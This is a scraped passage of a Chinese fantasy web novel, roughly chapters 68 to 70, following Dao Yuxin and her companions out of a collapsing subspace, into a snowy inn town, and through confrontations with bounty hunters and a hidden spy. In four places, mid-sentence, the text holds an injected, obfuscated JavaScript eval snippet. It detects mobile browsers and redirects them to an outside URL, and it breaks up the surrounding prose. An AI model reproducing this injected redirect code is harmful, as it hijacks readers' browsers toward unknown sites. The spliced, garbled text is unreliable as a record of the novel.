但亚空间意识又怎能让他们如愿离开? 即便空间无法坍塌,但它有的是手段能将所有人置于死地,在第一时间掌握他们想要杀死自己的信息后,邪魔和异兽就如潮水般涌来。 “我会保护好他们,你只管杀死它就好。”明白刀语心打算后苏岚出言说道。 于是众人的祝愿赐福加持全都汇聚于刀语心身上,只是见此情此景谢止沉眉目间闪过暗色。 对此刀语心牵起他的手出言安抚道:“我们会一起出去。” 她不是为了他们才做出这样的选择背负这些希望只是顺带,刀语心最为核心的愿望是她和谢止沉能带着报酬平安离开亚空间。 沈辞预言出亚空间意识大致方位,谢止沉再控制流光搜寻,刀语心负责将其斩杀。 一路上的血色浸染大地刀语心生生杀出一条血路,亚空间意识本身没有任何战斗力只胜在对空间的完全控制,如今空间被谢止沉稳定下来,除这些邪魔和异兽之外它再无手段。 太过顺利了。 提剑破开最后的邪魔袭击,二人来到亚空间意识面前,还是不久前见过的小男孩模样。 “你来了。” 它转身看向刀语心他们,随即一道空间屏障将二人切割开来。 先前的韬光养晦只是为了在此时将谢止沉和刀语心分来,亚空间意识自知在空间领域上无法战胜谢止沉,所以选中刀语心作为死前垫背。 耗费亚空间意识所有力量,一片空间短暂从谢止沉的控制下脱离。 亚空间意识控制着空间中的天地倒转,紧接着撕开一个可怖的空间裂隙,感受着从中传来空间乱流的混乱刀语心明白只要落入其中就会被时空乱流湮灭。 异化之力从她周身涌出,一个更大的黑洞将裂隙覆盖,从中延伸出的黑色丝线缠住刀语心的四肢,让她获得一个稳定不再变化的支点。 属于她的反击即刻到来。 漆黑力量构成的攻击铺天盖地般朝亚空间意识攻去,但它看着袭来的攻击毫无动摇,站在原地一动不动似乎从一开始就没有打算避开。 在用异化之力彻底将亚空间意识撕碎之前,察觉异样的刀语心控制着攻击停下。 “你很想去死?为什么?”刀语心没有善良到让对方求仁得仁。 “我听见他们称你为救世主,那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957670|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以救我吗?杀了我吧。” 直到这时刀语心才发现,亚空间意识化作的小男孩眼中满是对死亡的期盼。 从最初进入这个亚空间开始,刀语心就发现与遗迹所在亚空间不同,那里只有黑白灰三色而这里有各式各样的景象,只是太过破碎。 这是亚空间意识对外界的具现,也是他的留恋,它对过去不舍但是无法回到过去。 最初的它尽心尽力帮助所有人从它这里离开,但人群离开之后就是漫长等待,不知经历多少时间流逝后它等到下一批人再来,如此循环往复它已经厌倦。 察觉自己是困兽的它选择带着更多人一起毁灭。 这是它唯一能对命运做出的反抗,即便,这反抗是通向死亡。 亚空间就是它的全世界,而世界即是它的囚笼。 由于世界破碎既往更替规则早已失效,或许等到世界法则被彻底修复它也能重获自由。 只是—— “我累了。”它说。 看着一心求死的亚空间意识,刀语心什么都没说,她只是提剑一步步朝它走去,然后挥剑。 携带吞噬权能的全力一击足以毁灭这方天地。 在意识存留的最后,它终于感受到自己苦苦寻求的自由。 “谢谢你……” 它无法逃离自己既定的命运但最终由刀语心赐予它渴求的解脱,亚空间意识不后悔自己的选择。 只是刀语心的攻击并没有将亚空间意识彻底覆灭,她更多的是斩断意识与亚空间的连接,以及毁灭亚空间本身。 “我怎么……还活着?”它本该得到自己梦寐以求的解脱。 “出于我个人好奇,我很想知道如果你有选择,那么你还会走上这条通向毁灭的道路吗?”刀语心给它新的选择用来反抗不公命运,而在往后漫长路途中它也必将偿还过去犯下的罪业。 “当然,你也可以选择死去。”刀语心会尊重它的选择。 比起死亡,存活于世更需要勇气。 在略微漫长的思考过后,亚空间意识给出它的答案:“我……想活着。”它想看看现实世界的景象,它想去找到它的同类。或许,它也可以拯救它们,即便不是救赎也能带去点点光亮。 听到它的回答刀语心松开缠绕在意识体上的异化之力,于此刻,它真正获得自由。 感受着自己不再受限的活动和思绪,它也不再需要亚空间作为前缀,作为一个独立的意识体,从今往后它可以选择自己的命运通往何方。 “……谢谢你。” 在意识体眼中的刀语心此刻就是真正的救世主化身,而不是一种被寄予期望的符号。 在汹涌情感冲击下它自发地将过往所有一切汇聚成一枚泪滴,在形成的一瞬刀语心就感受到其中蕴含着庞大的力量,意识体将其送到刀语心手中。 “请收下吧,作为一点微不足道的答谢。” 即便从一开始留在亚空间就是为了报偿但刀语心没有想到会如此珍贵,凭借直觉她都能知晓这泪滴绝非凡物,此行收获完全是意外之喜。 “再见了。”说完略显老态的小男孩朝刀语心鞠躬,而后转身踏上属于自己的路途。 随即亚空间彻底破碎湮灭在世间,一阵天翻地覆地的晕眩过后,原本身处亚空间之中的人们也回到一开始进入亚空间的地方。 先前经历的一切宛若幻梦,重新坐回载具中的刀语心看着自己手中紧握的泪滴昭示着一切绝非虚假。 她抬头看去,不远处有道身影正朝他们挥手。 68. 第 68 章 是莉莉安,她身旁还站着沈辞。 他们是在这附近被卷入亚空间之中,而且此行目的地也是遗忘之乡。 是巧合,还是又一重阴谋?刀语心不得不防。 对上刀语心那双无光眼眸,沈辞先出声解释道:“从几个月前开始就听说落雪之地会有高阶宝物现世,有许多人都在朝遗忘之乡赶去,我们也是其中之一。” 而残存区中只有遗忘之乡长年累月被白雪覆盖。 “听说?那你们占星会又预示到什么?” “天启者无法离开中央城,我此行是代她见证这个世界之后的走向。”沈辞答非所问,又或是答案已经藏在布满谜团的语句之中。 “对了刀语心姐姐,岚姨托我给你带话,她说该见面时你们会再见的。”莉莉安说道。 “好。”听到这话的刀语心轻轻点头,“上来吧。” 目的地相同,几人结为短暂同行者也没什么大碍。 “谢谢刀语心姐姐!” 一上载具,莉莉安就蹿到雪姬身边询问她身体如何,虽然她们只是分隔片刻但莉莉安依然如同太阳一般源源不断地散发温暖。 直到沈辞出言制止,莉莉安才放过雪姬从她身边离开。 “先休息一会吧,今天应该无法直接抵达遗忘之乡。”谢止沉和刀语心说道,他们刚从混乱地界出来没多远就进了亚空间,现在离遗忘之乡还有很长一段距离,只能在天黑前抵达中转地短暂休整。 持续夜行也没问题但刀语心一直都没有好好休息,离觐见之日也还有很长一段时间。 再者,刀语心也不一定真的就要老老实实去觐见神明,从狂信徒持续不断地袭击看来,觐见也许只是一个好听的猎杀借口。 解除诅咒才是重中之重。 “如果你累了就叫醒我。” “嗯。”谢止沉开着自动驾驶给刀语心盖上毯子。 只不过等刀语心再睁开眼夜色已深,载具也快要抵达中转地,离开毯子就能明显感受到周围阴冷的空气,还有纷纷扬扬的雪花从墨色天空中降下。 前半生都在沙漠中的刀语心只有在书本中见过对雪的描述,她伸出手接住雪花,刚落在手心就被温度融化。 很快失去好奇心的她抬头看向远方,前面不远处有一片亮着灯的区域。 推开门屋檐积雪落下,莉莉安拉着雪姬先一步冲进屋内取暖刀语心几人紧随其后,看着吧台旁歪歪扭扭写着的物价,刀语心将一小袋金币放在正擦拭酒杯的老板面前。 “五间房,还有你们的招牌菜。” “随便坐。” 最里面靠窗的位置有一张较大的方桌,坐下后刀语心打量内部构造,这里似乎是酒馆和旅店的集合体,整个屋子都由木头制作,四周零散遍布着几个客人,透过窗外还能看到路边雪花飘落。 对比下来酒馆内的暖色调灯光更让人安心,也让刀语心明白此刻是短暂难得的清闲时光。 混乱地界获得的半神阶材料,苏岚给的图纸,亚空间意识的泪滴…… “我打算在这里多停留几天。”她需要休整以及顺带处理好这些材料,“你们有什么打算?”询问的主要对象是沈辞和莉莉安。 “我们一起吧,我们两个一个预言家一个歌者没什么战斗力。”沈辞对自己的战斗能力心知肚明。 “可以吗刀语心姐姐——” 坐在对面的莉莉安眼中闪着殷切的期盼看向刀语心,让刀语心不得不移开视线。 “随你们。”这便是同意下来。 见此情形雪姬有些心碎垂下脑袋,毕竟沈辞和莉莉安轻而易举得到她用自己鲜血才换来的同行。 但很快她感受到有一点重量传来,她抬头看去是刀语心正在摸她的脑袋,“这几天好好休息,如果身体不舒服的话,之后都不用再取血给我。” “嗯嗯,我已经没事了。” 不多时冒着热气的饭菜就端上桌,是一锅软烂鲜香的炖肉。 老板娘见几人是外乡人便热情地向他们介绍着自己的家乡:“我们这里以前叫水泽谷,只不过如今十几年都是冰天雪地的,以前的风光可好了,不过现在也不算差。” “这里有什么卖东西的地方吗,我们没带御寒的衣物。”沈辞询问道。 等级提升会让体质提升但肢体还是会僵硬,五人之中只有谢止沉给刀语心和自己准备了合适衣物。 “这可是个大问题呢。”说着老板娘快步离开,不过片刻后她就回来,手上还拿着自己闲置的厚实披肩给两位年岁不大的少女披上。 “天黑关店得早,可以等天亮后去谷里逛逛,虽然很多人都走了但商会公会也在这里设了据点。” “老板娘谢谢你!”“谢谢……” 看着被披肩压实的两小只,老板娘看向她们的眼神变得更加怜爱。 “老板娘,你知道最近遗忘之乡有发生什么吗?”借此机会刀语心想打听一些情报。 “遗忘之乡?啊,你们说的应该是晨曦镇吧,我们都是老一辈的叫法跟不上时代了。那里很少有信息传来,我见过有许多人进去再没出来,或许是他们走了另一条路,但我再没见过他们中任何一个人。” “人啊,都是这样。”老板娘知道仅凭三言两语很难改变他们,“你们千里迢迢来到这里我也不扫兴了,预祝你们一路顺遂。” “谢谢。” 疲于奔波的几人一时松懈,没有察觉到角落中几次三番投来的视线。 吃饱喝□□换通讯码后众人回到自己房间。 单间布置和酒馆整体感觉类似,十分温馨有一种家的感觉,在昏黄灯光下刀语心拿出最近获得的物件一一研究。 她先是拿出自己强抢来的“奖品”,两块黑铁,一根枝条,这是直觉让她选中的东西。 先前谢止沉说自己的奖品随她处置,刀语心有问过他禁锢装置什么时候需要,但得到的回复是不着急。 这铁块表面泛着幽深色泽,这是能产生半神阶共振的物件绝不是普通的黑铁,整体散发着一种和这个世界格格不入的气息,大抵是什么天外来物。 至于枝条,即便被折断依然保持着近乎顽强的生命力。 没有检测台无法知道二者详细作用,刀语心打算等看完苏岚给她的图纸后便锻造一个便携检测台出来。 她打开那略显单薄的纸页,但其中的内容让她一瞬间陷入沉思。 上面分别写着豪放不羁的四个大字:武器、诅咒。 折叠起来的白纸左面是画着份草率的武器蓝图,右面似是一个逆向解除法阵。 每个部分都有三个空缺,刀语心倾向于是某三种固定的种类,但可以通过不同材料组合达到相同目的,而她在地图不同红圈中收集到的物件,就是达成二者的必要过程。 换句话说,这便是她既定的命运。 虽心有不喜但刀语心还是将其好好收起,诅咒是她必须解除的东西。 将这些材料放在床边的木桌上,接着刀语心便开始刻检测台所需咒能板,她打算做一个小型便携检测器方便她知晓材料的大致信息,用的刻印还是她从异兽部落拓下来的完整版。 给这个世界带来浩劫,改变法则的神明一定在隐瞒什么。 随着时间流逝一个精巧的小方块很快出现在刀语心手中,她轻按展开发出检测光波扫描着桌上排列整齐的材料。 “生命之木残枝(橙阶),特性:净化、疗愈。” 净化:清除污染能量,恢复纯净状态。 疗愈:持续治疗。 “空间泪滴(半神阶),特性:浓缩部分空间权能,包括但不限于划分、割裂、扭曲、连接。” “海域玄铁(神阶)高密度高韧性,特性:容纳万象,万物共鸣。” 相比起前二者,身为神阶材料的玄铁没有任何多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968715|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍,特性就只有简短八个字,除此之外只有一行小字提醒:由于海域玄铁的特殊性,只有极为猛烈的火才能将其熔化。 刀语心尝试使用异噬技能吞噬一半玄铁也以失败告终,大概是因为玄铁等阶太高而她等级不够。 果然神阶材料不是那么容易处理好的。 掌握材料的具体信息后,刀语心察觉到空间中的锻造师成长指南上有些异动,她将其取出发现空白页面上浮现出一份出人意料的说明。 “神阶武器——无固定形态,由本体材料,木,淬炼液,锻造而成,可在此基础上辅以其余材料刻印。” 神阶不需要一系列繁琐手法,只需要锻造师能够掌控这些材料并将其完好无损结合在一起。 和苏岚给的图纸一样,锻造出武器最基本的材料只需三样,但说起来容易做起来难,神阶武器所需材料也绝不是普通材料。 看着指南上的说明以及手边的材料,一把武器雏形已经在刀语心脑海中构建,如今她有了海域玄铁,那么材料就还差合适的木头和淬炼液。 锻造一开始就很难停下来,刀语心打算用现有材料做些准备。 次日,看着刀语心面上明显加深的黑眼圈,谢止沉有些无奈地说道:“又没好好休息。” “我本来想的……”但是一忙起锻造来刀语心的作息自动颠倒。 “要不要再睡一会,有什么想买的我去帮你买。” “我没事的,一起去吧。” 等到众人集结完毕出门,阳光已经洒落于积雪之上。 作为连接遗忘之乡的枢纽水泽谷是一个不错的落脚点,一路上众人看到有不少像他们一行人一样的外乡人。 比起那些武器不离身的专业人士,刀语心几人就像是带着妹妹们出团旅游一般,毫无威慑力。 最先解决的是穿衣问题,他们来到一家服装店中。 “想买什么就买。”刀语心对雪姬说道,即便心有疑虑,但之前雪姬帮助她挡下攻击的事能让刀语心暂且不深究。 “你也是。”她转头看着谢止沉补充,顺带给他一张副卡。 认为自己已经足够保暖的刀语心对衣服没什么兴趣,吸引她注意的是远处一家炼金工坊。 看着刀语心快步离开的背影,谢止沉在确认她去往何处后转头开始认真挑选,虽在混乱地界置办过一些但水泽谷的服饰显然更加保暖。 他精挑细选一块织样式不错有增幅刻印的红围巾,打算买下来给刀语心。 几道隐秘的视线在暗中注视着他们的动向。 “老大,这不是那个通缉令上的白发红眼小孩吗?不过好像和上面不太一样,似乎更高些。” “废话,都几年过去了当然长了,又不是什么矮人族,她可是实打实的人类。” “人类?也算吧。”在他们眼中是敛财工具,在收取鲜血的人眼中就是造血机器,这样也能算得上人类吗? “管她是不是,抓了再说。”她身边那几个人看着也不像很强的样子。 雪姬有钱但是不多,刀语心虽说让她想买什么就买,但碍于种种原因她还是将视线从略微昂贵的衣着上移开眼,选择另一套价格相对低廉的服饰。 店铺内沈辞还在劝阻莉莉安,比起美丽还是保暖更重要,谢止沉则是在和店员付款。 但刀语心去哪里了?抱着这个疑问,雪姬只身一人走出店铺寻找刀语心的去向,在她四处张望的间隙,没有注意到不怀好意的身影在朝她逼近。 “喂,血种。” 听到这个称呼的雪姬只是浑身一颤,她身子僵硬仿若全身血液倒流。 雪姬不敢回头,但也无力向前逃走。 危险在朝雪姬逼近被不堪过往袭击的她手脚麻木只剩心脏在跳动,在被那双充满污浊的双手拽回泥潭之前,雪姬被人拉走。 “你想干什么?”一道冰冷坚定的声音唤回雪姬的神智。 69. 第 69 章 闪着锋芒的剑刃直指那些赏金猎人的面门,迫使他们停下步伐。 短暂僵持之间一行人也纷纷举起武器,只要一声令下就会朝着目标发起进攻,与此同时谢止沉也察觉到刀语心处境不妙收起物件走到她的身旁,其余二人也迟迟赶到。 点点雪花飘落,两方无言对峙。 “这是怎么了?”沈辞出声打算缓和不妙的局面。 也在这片刻间赏金猎人也已经估算好在这里出手抢人的风险,除开血种之外其他人分别是三十七级的预言家和四十五级歌者以及两个看不出等级和职业的家伙,光凭直觉而言绝不是什么任人拿捏的家伙。 “误会,都是误会。”从人群中走出一个少年人他收起武器笑着摆手,“是我们找错人了。” 听着这番说辞,刀语心却没有放下手中的剑。 结合雪姬的异常表现刀语心并不认为对方是找错了,说是一场误会也是因为他们没有底气在这里动手能成功抢走雪姬。 人的欲望不会如此轻易熄灭,只要找到机会他们一定重新咬上来,此刻就应该斩草除根。 只是这么想着刀语心举剑的右手被身后之人拉住,她回头就看见雪姬摇摇头。 “姐姐,谢谢你,但不用让你的剑因为我染上鲜血。”雪姬眼神有些黯淡,她知道即便这些人死了,依然会有人因为她的血液想要抓走她。 只要她的血液还有升阶作用那些贪念就会无穷无尽地产生,杀死这几个人完全无济于事。 “雪姬,你还好吗?”莉莉安来到她身旁轻声询问。 那苍白的脸上展露脆弱的笑容,她摇摇头回应道:“我没事的。” “真是不好意思,我们就先走了。”那少年人趁刀语心的注意被雪姬吸引,就带着人快速离开。 既然雪姬不愿追究那刀语心也没有立场去追杀那些赏金猎人,看着雪姬因恐惧而细微颤抖的双手,刀语心知道她绝不可能没事。 “我想回去了。”雪姬出言。 “嗯,我陪你回去吧。”刀语心不会拒绝雪姬此刻的要求,只是在离开前她还有话和谢止沉交代。 “你放心回去吧,我会购置好必需品的。”说着,谢止沉将先前买好的围巾给刀语心围好,在连接处扣上那枚被做成发扣的烈焰宝石。 随着增益场扩散刀语心能明显感受到热意传来,先前的满目冰寒也在不知不觉间消融。 “你一个人也小心一些,有什么事终端联系。” “我会的。” 而莉莉安也有些不放心雪姬,和余下两人道别后三人一同回到酒馆。 知道雪姬一个人会害怕所以刀语心直接把人带到自己房间,所幸床铺够大就算容纳三四个人也绰绰有余。 虽然如此但刀语心并没有同床共枕的打算,她打算陪着雪姬入睡顺带继续锻造。 施展清洁术后刀语心示意雪姬睡下恢复精神,过度惊吓会让人变得虚弱况且雪姬身体应该本就不算好,莉莉安也能察觉到雪姬的不安所以她一直都紧握着雪姬的手。 “谢谢你们。”雪姬能感受到这份温暖,只是她依然心有余悸。 “你想听安眠曲吗?是我妈妈教会我的。”莉莉安询问着雪姬的意见,见雪姬点头同意莉莉安就轻声哼唱着曲调。 在闭眼的前一刻雪姬的视线转向刀语心,迷迷糊糊间她似乎看到那银白发饰上有光流动。 见此刀语心只是说道:“睡吧,我在这里。” 听着莉莉安的安眠曲和刀语心的声音,雪姬闭上眼意识开始下沉,介于梦境与现实之间雪姬被拉入某个间隙,在这里她见到一个熟悉的身影。 “你的卧底生涯很好玩吗?这么久都不联系我。”黑色短发男子朝雪姬走去,声音随着走近而变大。 见到许久未见的面容雪姬原本迷糊的意识也重新清醒过来,她回应着男子的疑问:“她身边一个人有点古怪,只要那人在她身旁我和你们之间的连接就会被切断。” “若不是神明大人不允许橙阶以上的存在,或许你就不会吃这么多苦了。” “即便没有祂的禁令,我依然会是这样的结局。”雪姬眉头轻皱用言语和行动表示她并不赞成男子的话语,“更何况,是祂赐予我新生。” 闻言那男子只是无奈摊手说:“知道啦知道啦,你们这些狂信徒还真是虔诚。” “没有受过恩赐的你当然不会明白。” “嗯嗯,我不明白,所以你到底打算什么时候动手?” 面对这个问题雪姬陷入沉思。 “怎么?你舍不得了?” “才不是。”雪姬紧接着反驳,但她明白自己在刚才一瞬产生的情绪名为不舍。 “狂信徒之中也只有寥寥几个对神真心实意,你的确是其中之一,但人的一生不仅仅是将一切奉献给神,我想你应该会明白。” “你在试图劝诫我?” “或许吧,但如何选择终究是你自己的课题。” 从刚才开始男子就不断转着手中的匕首,此刻才将其停下。 “那么,需要我出场吗?” “不。” 完全是出于下意识地回答,连雪姬也因为自己脱口而出的答案愣住。 一直在暗中观察的雪姬很清楚刀语心的实力,她在亚空间中以轻伤为代价杀死四十七级有橙阶装备加持的慧明,如果要将她完好无损地送到神明面前必须有着近乎碾压的实力。 也就是眼前之人。 “你还是舍不得。”那人轻笑,言语中并无责怪。 “就当我是吧。” 即便一开始接近刀语心的目的就不纯,但在一段时日相处下来后雪姬依然不可避免地对刀语心产生好感,就算最终的结局不可避免但雪姬还是想将过程拉得再长一些。 在亚空间中她特地为刀语心抵挡伤害是不希望刀语心怀疑自己,但她没想到刀语心就真的对自己放下了警惕。 更没有料到的是,她自己也因此产生更多本不该产生的情感。 “……让修女和孤狼进入遗忘之乡。” “明白了,据我所知还有其他不好对付的几位在往你们那边靠近,你最好小心点别暴露,不然除非是那位神明大人亲临,谁也救不了你。” 那人边叮嘱边想伸手摸摸雪姬的脑袋,只可惜意识交流的他们并无实体所以无法触及。 最终他想要说的一切只化为一句:“活着回来。” 屋内,看着在自己床上睡过去的二人刀语心放下手中的刻刀,上前一步帮她们盖好被子。 手腕上的终端轻震, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979059|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀语心点开发现是谢止沉给她发来信息。 -流光收集到一些有趣的消息:1、进入遗忘之乡的人并没有全都死去。2、不止一个人被托梦说遗忘之乡是世外桃源。 如果在遗忘之乡中死去那么灵魂绑定的道具也会随之碎裂,但有人证实自己失踪的亲属所绑定的灵魂道具并没有破碎,而那人已经失踪长达一年之久。 而后者大概也是某些特定职业的技能,能够借此传达现实世界无法传递的消息。 瞳孔中映出这两条不同寻常的信息,刀语心很快就捕捉到其中联系。 “遗忘之乡所处空间会不会由于某种原因被封锁起来,只能有进无出,但和亚空间不同的是里面的人能够借助现有环境自给自足,只是找不到方法离开那片空间?” -有这样的可能,而且如果只是一个人会有些艰难,但若是一群人在其中生存压力会大大减小。 遗忘之乡所在空间可能和亚空间有些相像,不同的是亚空间只要完成任务就可以离开,而且如果没有资源撑不了多久。 一群人在一片封闭空间中…… 这让刀语心想起一个在书中看到过的理论:如果在没有规则约束的环境下人群会逐渐走向失控。而失踪的那人已经在遗忘之乡存活一年之久,已经远远超出崩溃所需时间周期。 那么被称作世外桃源的遗忘之乡其中可能具有一个小型稳定的社会结构。 “若真是如此,那他们之中肯定会有一位领袖。” 如果对方对遗忘之乡的东西无所求只是被偶然困住那还好,如果对方有所求,那必然是一个棘手的对手。 他们只有五个人,但对方能调配的人手是一个庞大的未知数。 或许事态并不会有那么糟,浩劫过后的世界已经天翻地覆,假使有某种手段能让人陷入冰封并存活也不是没有可能。 对未知的担忧无可避免但进入遗忘之乡是必然,刀语心不会让假想困难阻止她前进。 不过合理的推测也能让她在此刻做更多准备,思考着后续可能需要的装备刀语心在桌前画着图纸,围巾上的红宝石反射着暖色灯光也随着刀语心修改动作轻微颤动。 在外的谢止沉买完最后一件东西,在等待老板找钱的过程中他听见一阵嘈杂的声音从身后响起。 “那家伙值这么多赏金我怎么可能会轻易放过她,现在只是权宜之计……”是那些赏金猎人。 “给,找你七枚银币。” 接过银币道谢后,谢止沉停顿两秒后选择转身跟上那些赏金猎人,他打算去把那些赏金猎人杀了,他不会再犯和之前一样的错误,他会彻底把这些可能对刀语心不利的人铲除。 毫无波澜的暗红眼眸看着那些勾肩搭背的背影,赏金猎人们对身后的危险毫无察觉。 只是在赤色流光缠绕绞碎他们的脖颈之前,有人将谢止沉拦下。 将视线从那些赏金猎人身上移开谢止沉看着站在自己面前的沈辞,沈辞就像掐好时间一样出现。 “他们还有用,暂时不能死。”沈辞笑着出言劝阻,而他的答案也印证谢止沉的猜测,对方早就预料到他的打算并在这里将他拦住。 “我没有恶意,只是天启者有话想和您说。”说完沈辞抬手,邀请谢止沉到街边店铺中一叙。 70. 第 70 章 面对突如其来的邀请,谢止沉无言凝视沈辞带笑的面容,片刻后他移开视线走进店铺,只见靠窗的桌面上早已摆放好了一副棋盘,似乎在等待着双方入场。 率先进入的谢止沉先一步落座在黑子那方。 在沈辞坐下后,谢止沉看着不属于那双眼眶中的一抹淡绿,他明白天启者已经来临。 “说吧,你的目的是什么。” “……不要试图改变她既定的命运。”说话的声音还是属于沈辞,但气场和语调已经和之前截然相反。 听到天启者回答的谢止沉只是冷冷嗤笑:“命运?这一切不过都是你们为了一己私欲策划的阴谋,你还敢将其称为既定的命运?” 那双淡绿眼眸中毫无波澜。 “随你怎么认为,但这是占星会倾尽各个世界的资源所推演出最好的未来,既然你不想背负自己的责任,那么就必须由其他人接替。” “最好的未来?这只是对你们而言的最好未来不是她的,少找借口来彰显你们那些虚伪的善良。”在谢止沉看来占星会只是在假借救世之名与恶为伍,究其根本还是为了他们的利益不受损。 “我为什么不想背负那些所谓的责任,难道你们真的一无所知?是因为你们身为受益人,所以无论是对她还是对我都是熟视无睹的利用吧。” 明白对方压根就没有抱着解决现有问题的打算,谢止沉不想再浪费自己的时间。 “我不是你们棋盘上的棋子,她更不会是。” 眼看谢止沉就要起身离开,天启者面色平静地开口说道:“难道你以为自己真的能够背负得起与我们为敌的代价吗?” 听到这话谢止沉停下离开的步伐,俯视着那双属于天启者的眼睛。 “你自己身上背负着多少追杀你比我们更清楚,你应该承担不起自己行踪暴露的代价吧。” 拿起一枚棋子谢止沉勾唇冷笑,“你就用这个来威胁我吗?” 随后那枚白子就在他手心中化作飞灰。 紧接着天启者看到谢止沉的眼眸变得赤红,而从一开始就未曾动摇的面目很快浮现一丝不可置信。 没有跨越时间和空间的力量,但天启者已经预见到占星会在其他世界的据点转瞬间被一抹赤色覆灭,罪魁祸首显然就是此刻在她面前的谢止沉。 “你们还是一如既往地找不清自己的位置。”看着天启者面上的表情谢止沉心情愉悦地说道。 那双眼眸不再暗沉但也不如刀语心曾看到的那样璀璨,此刻置于其中的是灼人的恶意,对于这份威胁谢止沉已经给予相应的反击: “我想你们最好早点放弃利用她这个打算,否则别说最好的未来,你们连拥有的当下都会消失。” “即便如此,这也是属于她的命运。就算是失去一切,我也会让我们期望的那个未来出现。”天启者不会就此妥协。 “执迷不悟。”谢止沉眼中只余冷漠。 “如果你现在告诉我给她施下诅咒的人在哪,或许你们还拥有最后一线生机。”这是最后通牒,也是谢止沉目的所在。 “无可奉告。” “既然你执意如此,那也就没有再待在这里的必要。” 话落,谢止沉抬手一抹流光极快没入沈辞的额头,将天启者的意识驱逐并且让天启者无法再自沈辞躯体中降临。 意识回归躯体后沈辞重新获得身体的控制权,回过神的他抬眼看着眼前之人无端感受到巨大压力。 又一阵极具压迫感的凝视后,谢止沉迟迟开口打破沉默:“你也是预言家,那么你所预示的未来又是什么样的?” 面对这个问题沈辞很清楚谢止沉并不是在询问问题的答案,而是在试探他的态度。 虽然不知道天启者和谢止沉说了什么,但他知道如果此刻和谢止沉表露自己对占星会以及天启者的忠心并不是什么明智之举。 身处温暖的室内但沈辞总觉得自己在走悬崖上的钢丝,只要稍有不慎谢止沉绝对会杀了自己。 “我的预言能力和天启者不同,在我的预示中无论过程如何,终点只有一个。而对刀语心小姐而言,这有可能会是一个她喜欢的未来。” 但沈辞也不能百分百自己预言中的未来就会实现,他没有预知过程。 “如非必要谁也不想与您为敌,当然也包括我在内。”这是沈辞最为真诚的想法,他无意成为他们道路上的绊脚石之一。 听到回答的谢止沉收回视线无言离开。 直到他走远后沈辞才松了一口气,手脚冰冷的他喝一口热茶独自感慨:“这任务还真是难做啊。” 地下赌场中,由于谢止沉被天启者拦下这群赏金猎人的剩余寿命得以延长,在嘈杂人声和刺鼻烟雾缭绕中,赏金猎人一行在针对血种讨论之后的计划。 “我就说那两人有些眼熟,一个是歌者一个是占星会的预言家。” 莉莉安和沈辞都曾在中央城中活跃过,他们从一开始就没想隐藏自己的身份,他们本就身为非战斗职业这样表露身份反而会给不怀好意者一些警示。 在残存区中占星会没有明显善恶的倾向但却是一个不可忽视的庞然大物,残存区中几乎叫得上号的势力都会和占星会有所关联。 只是比起他们另外两个身份不明者更让人在意,能够和他们同行的人绝不会是普通人。 “就算要动手,也得尽量绕开这身份不明的两人。”领头少年人吩咐道,“正面冲突有风险,前往遗忘之乡的路常年暴雪我们完全可以在他们必经之路上伏击他们。” “肯定会有人在风雪中伏击我们。”刀语心说道。 闻言雪姬知道是因为自己的缘故引来了敌人,对此刀语心只是摸摸她的头让她不必为此内疚。 “这是我简单改良过的道路。”她将自己这两日锻造好的目镜、耳麦、连接绳、登山杖等等物件分发给众人,并且演示每个道具的用法。 这两日得到消息说不知从什么时候开始进入遗忘之乡的路被冰雪堵死,只能走山路进去。 目镜内置热成像和分析模块,可以透过风雪看见生命体的踪迹,还有和连接绳绑定的登山杖,改良后增强其稳定性,相当于随时随地都有一个着力点。 最为核心的还是刀语心手上和防风沙装置同款的防风雪装置,只是核心材料不够所以范围不大,其余一切都是为了应对潜在风险。 “走吧,出发。” 大雪倾泻而下高山被银白覆盖,目镜下的视线范围内是一片灰白。天空和大地似乎融为一体但有一抹亮色将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999663|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分别,一个冰蓝色防护罩在缓慢移动其中有五人身影。 刀语心走在最前列谢止沉和沈辞位于后方,雪姬和莉莉安被三角形包围在中间。 